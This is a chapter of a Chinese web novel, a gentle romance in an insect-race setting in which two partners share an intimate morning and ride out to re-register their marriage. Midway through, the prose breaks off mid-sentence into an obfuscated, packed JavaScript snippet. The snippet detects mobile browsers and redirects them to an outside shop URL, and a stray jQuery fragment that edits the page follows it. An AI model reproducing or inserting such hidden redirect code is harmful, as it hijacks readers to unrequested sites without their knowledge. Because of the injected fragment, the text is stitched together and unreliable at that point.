世间上的缓慢总带着一种不一样的温柔,就像陪你看夕阳晚霞的人,本身比夕阳晚霞浪漫一万倍。
星辰闪烁,羡兰希贴着宴斯特宽厚的背部,在他稳健的步伐里,慢慢睡着了。
宴斯特察觉到身后雄虫呼吸的变化,身体微微压低,脚步更加平稳。
回到家中,宴斯特把羡兰希轻轻的放在床上。
银色长发散落在床上,金丝眼镜架在羡兰希高挺的鼻梁上,闭着的眼睛更显清冷疏淡。
羡兰希侧了侧头,似乎是眼镜架硌了他一下,他的眉头微微蹙起。
宴斯特看到后,缓缓的伸手把眼镜拿走,没有惊动羡兰希分毫。
拿走眼镜后,羡兰希眼睛下方的一块地方被眼镜压下了痕迹。
没多久,就泛起了淡淡的红痕。
只有在此刻,宴斯特才会觉得他和这里的雄虫有一点儿相似的地方,同样娇气。
宴斯特轻手轻脚的上床,熄灯之后,卧室里只留下一盏夜灯。
不算明亮,但也不至于昏暗。
宴斯特看着羡兰希,好半天,他才伸出手指为羡兰希舒缓眉头。
他不知道羡兰希在梦里梦到了什么,思索在他眉间聚拢。
直到羡兰希不再皱眉,宴斯特才收回了手,他的声音沉缓磁性,“雄主,晚安。”
躺在床上,宴斯特只觉得触摸羡兰希眉间的指尖还留着一抹烫意。
早晨起来,端看两只虫睡觉的姿势就能看出两虫的性格。
宴斯特睡觉规矩,一看就是在严规下成长的,严谨沉稳。
羡兰希的腿却搭在了宴斯特的腿上,胳膊从宴斯特的胸膛划过,将宴斯特搂入怀中。
霸道自信还透着一股浓浓的占有欲。
黑色的窗帘自动打开,只余下一层薄薄的纱质帘子,早晨的阳光不算刺眼,又经过帘子的阻挡,照在身上暖洋洋的。
羡兰希在阳光的照耀下,睡意很快被驱散,他一抬头,就看到了宴斯特。
羡兰希单独睡觉了二十几年,最近才发现自己也能这么快习惯和另一只虫躺在一张床上。
羡兰希的瞳孔早在前几天就恢复了正常,戴着眼镜只是因为习惯了。
宴斯特的警惕性一直都在,半点没有退化,几乎是羡兰希一动他就察觉到了。
但是即使知道了,宴斯特也没有丝毫动静,安静的躺着,灰色凤眸一眨不眨的看着羡兰希。
羡兰希倒是一点儿也不意外自己的睡姿,毕竟他看上的,可不会让逃掉。
从小都是这样。
看到宴斯特一动不动,羡兰希还以为自己把他压麻了,眼中流露出一丝心疼,一双桃花眼看上去就勾虫。
他在宴斯特脸上落下一吻。
然后慵懒的起身,白皙有力的手指按摩着宴斯特被他压住的腿部。
而宴斯特还愣愣的不知所措,他有些不知道该干什么?
刚刚发生了什么?!怎么雄主突然给他按摩起腿来了!
羡兰希看着宴斯特呆愣的样子,手上的动作不停,轻声问道:“怎么样,腿还麻吗?”
他也不是故意的,只不过是太喜欢他罢了。
宴斯特慌忙起身,握住了羡兰希的手,拒绝了他的按摩。
“雄主,我腿没有麻。”
羡兰希笑了一下,然后在宴斯特嘴上轻啄。
“乖,以后你要说,还麻,继续按。”
宴斯特不懂他为什么要这样说,似乎还带着一丝疑惑,问道:“为什么?我明明不麻的。”
羡兰希慢慢的教导,“因为我喜欢你这样。”
不是一味地讨好就能赢得虫的喜爱,必要时的娇气也是不可缺少的。
尤其是他亲手教出来的娇惯,对于他来说肯定是一种不一样的体验。
“阿宴,你要试试吗?”
宴斯特抬眸,眼中的那湾湖水平淡温和,“要怎么试?”
如果是羡兰希的要求,他会努力去试一试的。
羡兰希勾唇,眸光潋滟,“你把我刚刚说的话重复一遍。”
宴斯特抿了抿唇,倒也知道要说什么,只是开口时说话显然有些生涩,“还麻,继续按。”
声音生硬,虽然极力放缓,但是还是有种长官对下属说话时的命令。
哪哪都好,就是不像和爱虫说话。
不过羡兰希倒也不介意,给宴斯特按摩了几下腿,就擒住了他的唇,汲取着他口中的空气。
一吻结束,羡兰希又在他的唇上安抚的吻了一下。
哑声道:“乖,继续。”
……
折腾了几次,宴斯特的淡色薄唇又染上了殷红,眼中也氤氲了一层水汽。
但是羡兰希眉眼轻佻,还是没有放过他。
哄道:“阿宴乖~”
宴斯特的声音磁性,现在还带着几分哑意与欲色,也不知道是不是羡兰希在他腿上不规矩乱摸的手导致的。
“还麻…继续按。”
在宴斯特没有发现的地方,他说话时带了了一丝撒娇的成分。
羡兰希看着宴斯特现在的模样,又听到了自己想听的,笑了一下,突然就说了一句。
“阿宴,你真是我的大可爱!”
然后一个大大的吻就落在了宴斯特的脸上。
宴斯特顿时脖颈通红,甚至还有向上蔓延的趋势,他没想到会听到这样直白夸虫的话,还是什么大可爱。
阳光洒在两虫的身上,为他们描了一层金边,散发着淡淡的光晕。
黑暗勾勒出的影子也是一副般配的模样。
一切的一切都恰恰好。
……
吃完饭后,羡兰希让宴斯特去整理一下自己。
即便看到宴斯特困惑的表情,羡兰希也不打算解释,只是告诉他。
“秘密,等会儿你就知道了。”
宴斯特听话的走到卧室,衣帽间里不知不觉多出了不少他的衣服。
休闲的,清新的,运动系的,酷帅的,甚至还有几件宴斯特看不懂的衣服。
有着尾巴和耳朵,像是一些异兽的。
衣服刚刚回来的时候,羡兰希还神神秘秘的和他说这衣服很棒,以后有机会尝试。
虽然宴斯特不知道要怎么试。
原先的军装只占了其中的一小部分。
看了半天,宴斯特也不知道要朝哪件衣服下手。
羡兰希就站在宴斯特身后,“阿宴,穿军装吧!你穿那个更好看!”
听到羡兰希的决定,宴斯特不再犹豫,伸手拿出了军装。
找到衣服后,宴斯特就像确定了目标,极其迅速的脱下了身上的衣服。
露出艰苦训练得来的身材,八块腹肌显露出令虫惊艳的线条。
但是羡兰希还没来得及细看,宴斯特就已经穿上了军装。
宴斯特五官深邃立体,冷隽硬朗,灰色凤眸漫不经心却深邃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133472|149986||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冷冽,一身上位者的气压体现的淋漓尽致。
羡兰希低声笑道:“不愧是阿宴,穿上军装可真帅气。”
宴斯特扭头,这才发现羡兰希也换了一身衣服。
是一身带着国风的白色西装,其上装饰着黑色纹路,不是特别正式,但却带着一丝个性,更符合羡兰希清冷疏淡的气质。
羡兰希向宴斯特伸手,“走吧?”
那双桃花眼如水晶般清澈透亮,樱花色的唇瓣微微上扬,散发着迷虫的光芒。
一举一动风度翩翩。
宴斯特步伐沉稳,规矩有度。
磁性的声音响起羡兰希耳畔,宴斯特回答:“好。”
两虫出门后就走向别墅后面的一处占地很大车库。
作为帝都有名富豪的雄子,羡兰希车库里的车数不胜数。
还有原身用宴斯特的钱挥霍下的。
除了极少数的自动驾驶悬浮车,剩余的便都是手动驾驶。
并不是因为制造自动驾驶悬浮车的技术更高,而是为了彰显自身的高贵。
但羡兰希却不会有这种想法,怎么,是宴斯特不好看,还是他没有魅力?
他还要和宴斯特培养感情,可舍不得让他去开车。
但是不得不说,穿上军装的宴斯特更夺虫眼球,仿佛他生来就是一个军雌。
羡兰希在光脑上设定了路线,一坐上悬浮车,就按照既定的轨迹行驶。
宴斯特习惯性的扫了一眼车舱,发现没什么问题后就坐到了羡兰希身边。
窗外划过的各种在宴斯特眼中略过,宴斯特的神情也愈发疑惑。
即使他常年驻扎边域,但是帝都的路线和建筑一直都刻在他的脑海中。
按照这个方向,标志性建筑只有两所,鹿淇酒店和婚姻登记处。
但是他不认为羡兰希会带他去婚姻登记处,事实上只要是虫族的雌虫第一时间都会排除。
那剩下的就是鹿淇酒店。
一所以荒唐迷乱著称的酒店!是专门为雄虫殿下服务的酒店。
没有一只雌虫能完好无损的从这所酒店里出来,宴斯特想到这里的时候浑身的肌肉紧绷。
羡兰希一直看着宴斯特,倒是发现了他的变化,但是他也没有想这么多,只以为是宴斯特想到自己要和他去婚姻登记处。
于是开口,声音清冷却掩不住喜悦,“阿宴,开心吗?”
宴斯特喉咙干涩,不知道该说什么。
他能说不喜欢吗?似乎不能。
想到从鹿淇酒店里出来的雌虫,宴斯特一双灰色凤眸沉下了冷冽,语气僵硬,“开心。”
但是为什么他心中还会抽痛,他果然对他动感情了。
真情假意,羡兰希还是能分清的,更何况还是宴斯特根本掩饰不住的生硬。
他不想和他去婚姻登记处登记吗?
羡兰希握着宴斯特的手,桃花眼微抬,直截了当的问:“阿宴,你不想和我登记吗?”
谁也不知道,羡兰希的心里有多紧张,这样的事,可以说他是自作主张。
宴斯特一愣,显然没有过这样的想法。
“登记?”
羡兰希看着宴斯特的样子,就知道这肯定不是他心中想的那样。
他温声细语,“对,我们去重新登记雌君。”
宴斯特眨了眨眼,似乎眼中有些湿润。
他似乎听到自己喉中发出的声音,有些失真,“好。”